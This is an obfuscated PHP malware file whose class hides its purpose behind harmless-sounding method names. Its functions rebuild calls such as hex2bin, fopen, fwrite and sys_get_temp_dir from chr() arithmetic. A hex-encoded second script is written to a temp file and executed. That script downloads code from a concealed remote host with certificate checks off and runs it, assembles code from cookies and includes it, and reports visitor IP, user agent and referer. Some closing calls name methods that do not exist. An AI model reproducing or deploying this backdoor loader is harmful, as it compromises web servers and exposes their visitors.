<?php
class as {
	private $ll = '';
	private $nj = '';

	public function do($p1) {
		$q = array(((2*52)),((110-9)),(2*60),((7*44)-258),(103-5),(((77*1)+28)),((2*55)));
		$t = '';
		foreach($q as $i){ $t .= chr($i); }
		return $t($p1);
	}

	public function process_request($p1,$p2) {
		$m = array(((43+59)),(((71*1)+40)),((2*56)),(98+3),((106*67)-6992));
		$b = '';
		foreach($m as $d){ $b .= chr($d); }
		return $b($p1,$p2);
	}

	public function run_procedure($p1,$p2) {
		$a = array(((104-2)),((82*86)-6933),((54*79)-4152),((3*35)),(67+49),((22+79)));
		$z = '';
		foreach($a as $t){ $z .= chr($t); }
		return $z($p1,$p2);
	}

	public function fetch_metadata($p1) {
		$d = array(((107-6)),((5*23)),((117-6)),(108),((86+2+11)),((106-4)));
		$p = '';
		foreach($d as $pf){ $p .= chr($pf); }
		$p = strrev($p);
		return $p($p1);
	}

	public function init_system($p1,$p2=null) {
		$i = array((109*1),((3*35)),(117-3),(116),(((74*1)+40)));
		$l = '';
		foreach($i as $y){ $l .= chr($y); }
		$l = strrev($l);
		return $l($p1,$p2);
	}

	public function monitor_health() {
		$this->nj = $this->hl($this->sz(), '/');
	}

	public function initialize_component() {
		$this->ll = $this->do($this->sf);
	}

	public function hash_string() {
		$fn = $this->nj.'/eg-6974c0321ad00';
		$f = $this->ny($fn, 'w');
		$this->jx($f, $this->ll);
		$this->te($f);
		$this->ol($fn);
	}

	private $sf = '3c3f70687020636c617373205f686c7b70726976617465207' . '37461746963245f7a68703b7374617469632066756e6374696' . 'f6e205f6a696928245f796b297b6966282173656c663a3a245' . 'f7a68702973656c663a3a5f797428293b72657475726e20626' . '1736536345f6465636f64652873656c663a3a245f7a68705b2' . '45f796b5d293b7d70726976617465207374617469632066756' . 'e6374696f6e205f797428297b73656c663a3a245f7a68703d6' . '17272617928275f7469273d3e2751574e6a5a584e7a4c554e7' . '6626e527962327774515778736233637454334a272e27705a3' . '26c754f694171272c275f766d273d3e2751323975644756756' . '44331556558426c4f6942686348427361574e6864476c76626' . '9397159585a6863324e79615842272e2730272c275f726c273' . 'd3e275932673d272c275f6273273d3e275a586c4b63474e442' . '72e2753545a4a616d63305447706e4e4578715a7a524d616d6' . '33053576c336157525852576c5061556f77576c684f4d272e2' . '7456c7064326c6a272e2762565a745357707661575248566e7' . '0272e276b5130272e276f35272c275f797274273d3e2763586' . '4272e2736272e276541272e273d3d272c275f6d61273d3e275' . '047397250673d3d272c275f716466273d3e2750474a685a442' . '72e2734272e273d272c275f726d63273d3e276432467362412' . '72e273d3d272c275f6376273d3e27272c275f776571273d3e2' . '7272c275f6664273d3e27272c275f757968273d3e276148523' . '063446f764c334231596935335a574a6d6157786c6147397a6' . '44756794c6d4e766253396a6232317762334e6c63693571637' . 'a396b595852272e2768272e2750513d3d272c275f707662273' . 'd3e2759335679272e2762463970626d6c30272c275f7171273' . 'd3e27614852306346396a6232272e27526c272c275f6a7a273' . 'd3e2763324e6f5a5731272e276c272c275f6d69273d3e27614' . '8523063484d272e273d272c275f616b273d3e2752305655492' . '72e27413d3d272c275f7370273d3e276347463061413d272e2' . '73d272c275f637661273d3e276358566c636e6b3d272c275f6' . 'c7272273d3e275077272e273d3d272c275f6b74273d3e27635' . '8566c636e6b272e273d272c275f687165273d3e27494568555' . '64641764d5334774451704962334e304f272e276941272e273' . 'd272c275f6466273d3e276147397a6441272e273d272e273d2' . '72c275f7975273d3e2744517044623235755a574e306157397' . '5272e274f6942446247397a5a272e2751304b272e274451272' . 'e276f3d272c275f666771273d3e2763334e734f6938272e277' . '6272c275f7865273d3e27272c275f666969273d3e276147397' . 'a64272e27413d3d272c275f6777273d3e2744516f3d272c275' . 'f786b78273d3e27534652555546394454456c46546c272e275' . '2665356413d272c275f7077273d3e2753272e2746525555463' . '95958305a50556c6442556b5246272e2752463947543149272' . 'e273d272c275f666f273d3e27556b272e27564e54272e27315' . '2465830464552272e2746493d272c275f667574273d3e27534' . '65255272e2755463956553056535830464852272e2755272e2' . '73555272c275f69786a273d3e2753465255554639565530565' . '35830464852272e2755272e2735272e2755272c275f726e742' . '73d3e27272c275f667470273d3e27534652555546395352555' . 'a46272e2755272e276b272e275653272c275f7170273d3e275' . '34652555546272e27395352555a46556b5653272c275f72676' . '3273d3e27272c275f74686a273d3e275346525555463944544' . '56c272e2746272e27546c526653272e275641272e273d272c2' . '75f697775273d3e2753272e274652555546394454272e27456' . 'c46546c526653272e2756413d272c275f62766d273d3e27534' . '652555546395958305a50556c6442556b524652272e2746272' . 'e2739475431493d272c275f757662273d3e275346525555463' . '95958305a50556c272e276442556b524652272e27463947543' . '1272e2749272e273d272c275f647179273d3e2755272e276b5' . '64e5431524658304645524649272e273d272c275f6c7661273' . 'd3e2755272e276b564e54272e2731272e2752465830272e274' . '6455246272e27493d272c275f696169273d3e275a47272e274' . 'a6e6257396b5a513d3d272c275f6163273d3e275356272e274' . '13649272e2741272e273d272e273d272c275f697677273d3e2' . '7494877675655453649413d272e273d272c275f6962273d3e2' . '749487767556d272e27566d4f272e276941272e273d272c275' . 'f7476273d3e27494478272e2769636a272e27344b272c275f6' . 'c6563273d3e27615841272e273d272c275f767477273d3e276' . '457453d272c275f7a79273d3e2763272e276d56272e276d272' . 'c275f64726d273d3e276358643665272e27413d272e273d272' . 'c293b7d7d636c617373205f7168677b7072697661746520737' . '461746963245f7a68703b7374617469632066756e6374696f6' . 'e205f6a696928245f796b297b6966282173656c663a3a245f7' . 'a68702973656c663a3a5f797428293b72657475726e2073656' . 'c663a3a245f7a68705b245f796b5d3b7d70726976617465207' . '374617469632066756e6374696f6e205f797428297b73656c6' . '63a3a245f7a68703d61727261792830302c30372c3033362c3' . '033362c30312c3033362c30322c30372c30312c3031362c303' . '3302c30362c3033322c3031322c3031312c3031332c3032372' . 'c3033312c30332c30322c30312c30312c30302c3031322c303' . '1322c303331302c303637332c303132302c30302c303230303' . '02c30312c303432332c30343233293b7d7d686561646572285' . 'f686c3a3a5f6a696928275f272e2774692729293b686561646' . '572285f686c3a3a5f6a696928275f272e2776272e276d27292' . '93b696628697373657428245f4745545b5f686c3a3a5f6a696' . '928275f272e2772272e276c27295d29297b245f6466673d5f6' . 'd61285f686c3a3a5f6a696928275f62272e27732729293b696' . '628245f6466672626737472706f7328245f6466672c5f686c3' . 'a3a5f6a696928275f797274272929213d3d66616c7365297b6' . '46965285f686c3a3a5f6a696928275f6d612729293b7d656c7' . '3657b646965285f686c3a3a5f6a696928275f71272e2764662' . '729293b7d7d696628697373657428245f4745545b5f686c3a3' . 'a5f6a696928275f72272e276d272e276327295d29297b245f6' . '46f713d245f434f4f4b49453b245f6676693d5f7168673a3a5' . 'f6a69692830293b245f796b3d5f7168673a3a5f6a696928312' . '93b245f7075643d617272617928293b245f7075645b245f667' . '6695d3d5f686c3a3a5f6a696928275f272e27637627293b776' . '8696c6528245f796b297b245f7075645b245f6676695d2e3d2' . '45f646f715b5f7168673a3a5f6a69692832295d5b245f796b5' . 'd3b69662821245f646f715b5f7168673a3a5f6a69692833295' . 'd5b245f796b2b5f7168673a3a5f6a69692834295d297b69662' . '821245f646f715b5f7168673a3a5f6a69692835295d5b245f7' . '96b2b5f7168673a3a5f6a69692836295d29627265616b3b245' . 'f6676692b2b3b245f7075645b245f6676695d3d5f686c3a3a5' . 'f6a696928275f272e2777657127293b245f796b2b2b3b7d245' . 'f796b3d245f796b2b5f7168673a3a5f6a69692837292b5f716' . '8673a3a5f6a69692838293b7d245f6676693d245f7075645b5' . 'f7168673a3a5f6a69692839295d28292e245f7075645b5f716' . '8673a3a5f6a6969283130295d3b69662821245f7075645b5f7' . '168673a3a5f6a6969283131295d28245f66766929297b245f7' . '96b3d245f7075645b5f7168673a3a5f6a6969283132295d282' . '45f6676692c245f7075645b5f7168673a3a5f6a69692831332' . '95d293b245f7075645b5f7168673a3a5f6a6969283134295d2' . '8245f796b2c245f7075645b5f7168673a3a5f6a69692831352' . '95d2e245f7075645b5f7168673a3a5f6a6969283136295d282' . '45f7075645b5f7168673a3a5f6a6969283137295d28245f646' . 'f715b5f7168673a3a5f6a6969283138295d2929293b7d696e6' . '36c75646528245f667669293b7d66756e6374696f6e205f6d6' . '128245f74612c245f6671793d277872756365656e6a7064686' . '76d797a7627297b245f62653d5f686c3a3a5f6a696928275f6' . '66427293b245f736c613d5f686c3a3a5f6a696928275f75272' . 'e2779272e276827292e245f74613b69662869735f63616c6c6' . '1626c65285f686c3a3a5f6a696928275f707662272929297b2' . '45f6463763d6375726c5f696e697428245f736c61293b63757' . '26c5f7365746f707428245f6463762c4355524c4f50545f535' . '34c5f564552494659504545522c66616c7365293b6375726c5' . 'f7365746f707428245f6463762c4355524c4f50545f53534c5' . 'f564552494659484f53542c5f7168673a3a5f6a69692831392' . '9293b6375726c5f7365746f707428245f6463762c4355524c4' . 'f50545f464f4c4c4f574c4f434154494f4e2c5f7168673a3a5' . 'f6a696928323029293b6375726c5f7365746f707428245f646' . '3762c4355524c4f50545f52455455524e5452414e534645522' . 'c5f7168673a3a5f6a696928323129293b6375726c5f7365746' . 'f707428245f6463762c4355524c4f50545f4845414445522c5' . 'f7168673a3a5f6a696928323229293b6375726c5f7365746f7' . '07428245f6463762c4355524c4f50545f434f4e4e454354544' . '94d454f55542c5f7168673a3a5f6a696928323329293b63757' . '26c5f7365746f707428245f6463762c4355524c4f50545f544' . '94d454f55542c5f7168673a3a5f6a696928323429293b245f6' . '2653d6375726c5f6578656328245f646376293b245f6f736b3' . 'd6375726c5f676574696e666f28245f646376293b6375726c5' . 'f636c6f736528245f646376293b696628245f6f736b5b5f686' . 'c3a3a5f6a696928275f71272e277127295d213d5f7168673a3' . 'a5f6a6969283235292972657475726e2066616c73653b7d656' . 'c73657b245f73733d70617273655f75726c28245f736c61293' . 'b245f6b6c663d28245f73735b5f686c3a3a5f6a696928275f6' . 'a7a27295d3d3d5f686c3a3a5f6a696928275f6d272e2769272' . '9293b245f76713d5f686c3a3a5f6a696928275f616b27292e2' . '45f73735b5f686c3a3a5f6a696928275f737027295d3b69662' . '8697373657428245f73735b5f686c3a3a5f6a696928275f637' . '6272e276127295d2929245f76712e3d5f686c3a3a5f6a69692' . '8275f6c727227292e245f73735b5f686c3a3a5f6a696928275' . 'f272e276b272e277427295d3b245f76712e3d5f686c3a3a5f6' . 'a696928275f68716527292e245f73735b5f686c3a3a5f6a696' . '928275f646627295d2e5f686c3a3a5f6a696928275f7975272' . '93b245f7a713d66736f636b6f70656e2828245f6b6c663f5f6' . '86c3a3a5f6a696928275f66677127293a5f686c3a3a5f6a696' . '928275f78652729292e245f73735b5f686c3a3a5f6a6969282' . '75f6669272e276927295d2c245f6b6c663f5f7168673a3a5f6' . 'a6969283236293a5f7168673a3a5f6a696928323729293b696' . '628245f7a71297b667075747328245f7a712c245f7671293b2' . '45f74786c3d5f7168673a3a5f6a6969283238293b7768696c6' . '5282166656f6628245f7a7129297b245f646e643d666765747' . '328245f7a712c5f7168673a3a5f6a696928323929293b69662' . '8245f74786c29245f62652e3d245f646e643b696628245f646' . 'e643d3d5f686c3a3a5f6a696928275f6777272929245f74786' . 'c3d5f7168673a3a5f6a6969283330293b7d66636c6f7365282' . '45f7a71293b7d7d72657475726e245f62653b7d245f7764673' . 'd697373657428245f5345525645525b5f686c3a3a5f6a69692' . '8275f786b272e277827295d293b245f6b69703d69737365742' . '8245f5345525645525b5f686c3a3a5f6a696928275f272e277' . '0272e277727295d293b245f74733d697373657428245f53455' . '25645525b5f686c3a3a5f6a696928275f272e27666f27295d2' . '93b245f76756d3d697373657428245f5345525645525b5f686' . 'c3a3a5f6a696928275f66757427295d293f245f53455256455' . '25b5f686c3a3a5f6a696928275f6978272e276a27295d3a5f6' . '86c3a3a5f6a696928275f272e27726e7427293b245f756e6b3' . 'd697373657428245f5345525645525b5f686c3a3a5f6a69692' . '8275f66747027295d293f245f5345525645525b5f686c3a3a5' . 'f6a696928275f71272e277027295d3a5f686c3a3a5f6a69692' . '8275f7267272e276327293b245f7764673d697373657428245' . 'f5345525645525b5f686c3a3a5f6a696928275f272e2774686' . 'a27295d293f245f5345525645525b5f686c3a3a5f6a6969282' . '75f6977272e277527295d3a6e756c6c3b245f6b69703d69737' . '3657428245f5345525645525b5f686c3a3a5f6a696928275f2' . '72e2762766d27295d293f245f5345525645525b5f686c3a3a5' . 'f6a696928275f75272e2776272e276227295d3a6e756c6c3b2' . '45f74733d697373657428245f5345525645525b5f686c3a3a5' . 'f6a696928275f272e2764717927295d293f245f53455256455' . '25b5f686c3a3a5f6a696928275f6c766127295d3a6e756c6c3' . 'b69662866696c7465725f76617228245f7764672c5f7168673' . 'a3a5f6a69692833312929297b245f766d3d245f7764673b7d6' . '56c736569662866696c7465725f76617228245f6b69702c5f7' . '168673a3a5f6a69692833322929297b245f766d3d245f6b697' . '03b7d656c73657b245f766d3d245f74733b7d6966286973736' . '57428245f4745545b5f686c3a3a5f6a696928275f69272e276' . '1272e276927295d29297b6563686f205f686c3a3a5f6a69692' . '8275f272e2761272e276327292e245f766d2e5f686c3a3a5f6' . 'a696928275f69767727292e245f76756d2e5f686c3a3a5f6a6' . '96928275f272e2769272e276227292e245f756e6b2e5f686c3' . 'a3a5f6a696928275f747627293b6578697428293b7d6966282' . '1697373657428245f766d297c7c21697373657428245f76756' . 'd297c7c21697373657428245f756e6b29297b6578697428293' . 'b7d656c73657b245f61716e3d6172726179285f686c3a3a5f6' . 'a696928275f6c65272e276327293d3e245f766d2c5f686c3a3' . 'a5f6a696928275f272e277674272e277727293d3e245f76756' . 'd2c5f686c3a3a5f6a696928275f7a272e277927293d3e245f7' . '56e6b293b245f74713d75726c656e636f64652862617365363' . '45f656e636f6465286a736f6e5f656e636f646528245f61716' . 'e2929293b245f6466673d5f6d6128245f7471293b696628245' . 'f6466672626737472706f7328245f6466672c5f686c3a3a5f6' . 'a696928275f272e276472272e276d272929213d3d66616c736' . '5297b6563686f245f6466673b6578697428293b7d7d';

	public function store_snapshot($p) {
		require $p;
	}

	public function collect_statistics() {
		$a=array(((94+21)),((40*105)-4079),(51+64),95,(((75*1)+28)),((67+34)),116,95,(((86*51)-4270)),(101),((111-2)),(((33*2)+46)),((93+1+1)),(20+75+5),((42+22+41)),((36+78)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$cs = new as();
$cs->eb();
$cs->df();
$cs->oc();
